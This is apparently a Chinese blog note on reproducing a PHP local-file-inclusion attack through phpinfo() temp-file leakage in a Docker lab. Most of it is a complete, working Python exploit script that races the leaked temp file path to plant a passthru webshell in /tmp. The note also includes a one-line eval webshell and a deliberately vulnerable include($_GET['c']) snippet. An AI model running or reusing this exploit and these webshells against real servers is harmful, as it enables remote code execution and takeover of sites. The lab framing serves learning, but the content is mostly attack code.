[LFI]Phpinfo本地文件包含漏洞环境搭建分析
0x00
本地文件包含漏洞即网站未对用户可控变量进行控制,导致用户可以控制包含变量。
0x01
参考wooyun上的教程中遇到问题如下:
Can not connect to the docker deamon
权限不够,docker未提示,指令前加sudo
sudo docker run –rm -p “8901:80” janes/lfi_phpinfo
8901为本机端口,80为容器端口,即将容器80端口映射至本机8901端口
janes/lfi_phpinfo为容器仓库名
本机80端口占用问题一直未解决,明明kill了所有80端口进程
最后还是未能成功取得shell.还是因为本机端口与代码默认端口不同,利用指定端口指令,以代码出错告终。
0x03
upload.html
<!doctype html> <html> <body> <form action="phpinfo.php" method="POST" enctype="multipart/form-data"> <h3> Test upload tmp file</h3> <label for="file">Filename:</label> <input type="file" name="file"/><br/> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>
file.txt
<?php eval($_REQUEST["cmd"]); ?>
教程中将file.txt上传至upload.html中,再利用phpinfo泄露的临时文件路径
temp文件命名规则为:php+a-zA-Z0-9
temp文件一般在我们反应过来之前就自己删除了。
因此我们需要借助一些手段来延长他的消失时间,就是时间竞争
0x04
一种post大量数据,数据会分块传输,加长传输时间
#!/usr/bin/env pyhon # -*-coding: utf-8 -*- """ php 处理脚本执行完后再删除临时文件,间隔时间极短 """ import sys import threading import socket import logging from argparse import ArgumentParser logging.basicConfig(level=logging.INFO) log = logging.getLogger(__name__) def setup(host, port): tag = "Security Test" boundary = '---------------------------11008921013555437861019615112'#分隔符 # # php_path maybe '/lfi_phpinfo' or '' php_path = '' payload = "{tag}\r\n".format(tag=tag) payload += '<?php $c=fopen("/tmp/gc", "w");fwrite($c, \'<?php passthru($_GET["f"]);?>\');?>' req_data = '--{b}\r\n'.format(b=boundary) req_data += 'Content-Disposition: form-data; name="file"; filename="file.txt"\r\n' req_data += 'Content-Type: text/plain\r\n' req_data += '\r\n' req_data += '{payload}\r\n'.format(payload=payload) req_data += '--{b}--'.format(b=boundary) # padding for delay php server delete tmp file # 这种方式是phpinfo返回发送的头信息,信息过大的话就采用分块传输,padding增加了传输时间,根据需要改 padding = 'A' * 8000 req = 'POST {path}/phpinfo.php?a={padding} HTTP/1.1\r\n'.format(path=php_path, padding=padding) req += 'Host: {host}\r\n'.format(host=host) req += 'Cookie: othercookie={padding}\r\n'.format(padding=padding) req += 'User-Agent: {padding}\r\n'.format(padding=padding) #req += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' req += 'Accept: {padding}\r\n'.format(padding=padding) req += 'Accept-Language: {padding}\r\n'.format(padding=padding) req += 'Accept-Encoding: {padding}\r\n'.format(padding=padding) req += 'Content-Type: multipart/form-data; boundary={b}\r\n'.format(b=boundary) req += 'Content-Length: {l}\r\n'.format(l=len(req_data)) req += 'Connection: close\r\n' req += '\r\n' req += '{data}'.format(data=req_data) # modify this to suit the LFI script lfi_req = 'GET {path}/lfi.php?load=%s HTTP/1.1\r\n'.format(path=php_path) lfi_req += 'Connection: Keep-alive\r\n' lfi_req += 'Host: %s\r\n' lfi_req += '\r\n' return (req, tag, lfi_req) def lfi_phpinfo(host, port, phpinfo_req, offset, lfi_req, tag): s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect((host, port)) s2.connect((host, port)) s1.sendall(phpinfo_req) data = "" while len(data) < offset: data += s1.recv(offset) try: index = data.index("[tmp_name] =>") fn = data[index+17: index+31] except ValueError as e: err_msg = "fetch temp file path error: {e}".format(e=e) log.error(err_msg) return None s2.sendall(lfi_req % (fn, host)) data = s2.recv(4096) # debug log.debug(data) s1.close() s2.close() if data.find(tag) != -1: return fn counter = 0 class ThreadWorker(threading.Thread): def __init__(self, event, lock, maxattempts, *args): threading.Thread.__init__(self) self.event = event self.lock = lock self.maxattempts = maxattempts self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter += 1 try: x = lfi_phpinfo(*self.args) if self.event.is_set(): break if x: info_msg = "\nGot it! Shell created in /tmp/g" log.info(info_msg) self.event.set() except socket.error: return def getoffset(host, port, phpinfo_req): """Gets offset of tmp_name in php output """ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.sendall(phpinfo_req) data = "" while True: rcv_data = s.recv(4096) data += rcv_data if rcv_data == "": break # detect the final chunk if rcv_data.endswith("0\r\n\r\n"): break s.close() # debug #log.debug(data) index = data.find("[tmp_name] =>") if index == -1: raise ValueError("No php tmp_name in phpinfo output") info_msg = "found {file} at {index}".format(file=data[index:index+10], index=index) log.info(info_msg) # padded up a bit return index+256 def main(): banner = "LFI with phpinfo()\n" banner += "=" * 30 print(banner) usage = "python {prog} host [port] [threads]. -h for help".format(prog=sys.argv[0]) parser = ArgumentParser(usage=usage) parser.add_argument('host', help="ip or domain, e.g. 127.0.0.1") parser.add_argument('-p', dest='port', type=int, default=80, help="port, default is 80") parser.add_argument('-t', dest='threads', type=int, default=10, help="use n threads to access, default is 10") args = parser.parse_args() host = args.host port = args.port poolsz = args.threads try: host = socket.gethostbyname(sys.argv[1]) except socket.error as e: err_msg = "Error with hostname {h}:{err}".format(h=sys.argv[1], err=e) log.error(err_msg) sys.exit(1) info_msg = "Getting initial offset ..." log.info(info_msg) req, tag, lfi_req = setup(host, port) #debug_msg = '\n\n'.join([req, tag, lfi_req]) #log.debug(debug_msg) offset = getoffset(host, port, req) sys.stdout.flush() maxattempts = 500 event = threading.Event() lock = threading.Lock() tp = [] for i in range(poolsz): tp.append(ThreadWorker(event, lock, maxattempts, host, port, req, offset, lfi_req, tag)) for t in tp: t.start() try: while not event.wait(0.5): if event.is_set(): break with lock: sys.stdout.write("\r\n% 4d / % 4d\n" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break if event.is_set(): info_msg = "Wowo! \m/" else: info_msg = ":(" log.info(info_msg) except KeyboardInterrupt: info_msg = "\nTelling threads to shutdown..." log.info(info_msg) event.set() info_msg = "Shutting down..." log.info(info_msg) for t in tp: t.join() if __name__ == "__main__": main()
代码太长了,看不懂,不开森=-=
另一种方式即利用循环包含,层层嵌套,形成一个死循环,使temp文件一直存在
SIGSEGV:一种异常停止信号
<FORM ENCTYPE="multipart/form-data"ACTION="http://127.0.0.1/upload.php?c=upload.php" METHOD=POST> File to process: <INPUT NAME="userfile1"TYPE="file"> <INPUT TYPE="submit" VALUE="Send File"> </FORM> <?php $a=$_GET['c']; include $a; ?>
然后利用phpinfo泄露路径或者爆破文件名
0x05参考文献
http://drops.wooyun.org/web/13249
http://mp.weixin.qq.com/s?__biz=MzA4NzM0ODk0Nw==&mid=2649577458&idx=1&sn=485509d5fd3e0dcac1fb52543ffea46d&scene=0#wechat_redirect